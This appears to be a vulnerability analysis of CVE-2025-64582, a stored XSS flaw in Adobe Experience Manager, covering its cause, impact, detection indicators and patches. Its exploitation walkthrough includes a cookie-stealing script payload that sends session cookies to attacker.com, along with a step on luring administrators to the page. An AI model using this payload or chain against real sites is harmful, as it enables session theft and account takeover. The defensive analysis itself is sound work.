CVE-2025-64582: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64582 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, ENISA EUVD).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the scope changed to affect the victim's browser session. No public proof-of-concept code has been identified at this time (Adobe Advisory, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser session, resulting in limited confidentiality and integrity impacts (e.g., session token theft, credential harvesting, defacement of page content, or redirection to malicious sites). Because the injected script runs in the context of the AEM application, it could be leveraged to perform actions on behalf of the victim, including accessing sensitive AEM content or escalating privileges within the application. Availability is not directly impacted (Adobe Advisory, ENISA EUVD).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and persist user input (e.g., content authoring forms, comment fields, or custom components) that are rendered without proper output encoding.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser session.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Adobe Advisory, ENISA EUVD).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded XSS payloads in request bodies.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Content Repository: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded variants (e.g., <script>) within AEM JCR content nodes or page properties.
• Process/Browser: Unexpected JavaScript execution errors or network requests logged in browser developer tools when accessing specific AEM pages.

Adobe has released patches addressing CVE-2025-64582 in AEM 6.5 Service Pack 6.5.24.0 and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises instances to version 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a temporary workaround, restrict authoring access to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in AEM form submissions. Review and audit existing AEM content for any previously injected malicious scripts (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS flaw, could allow for arbitrary code execution in a broader context (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion beyond automated CVE tracking posts has been identified for this specific CVE.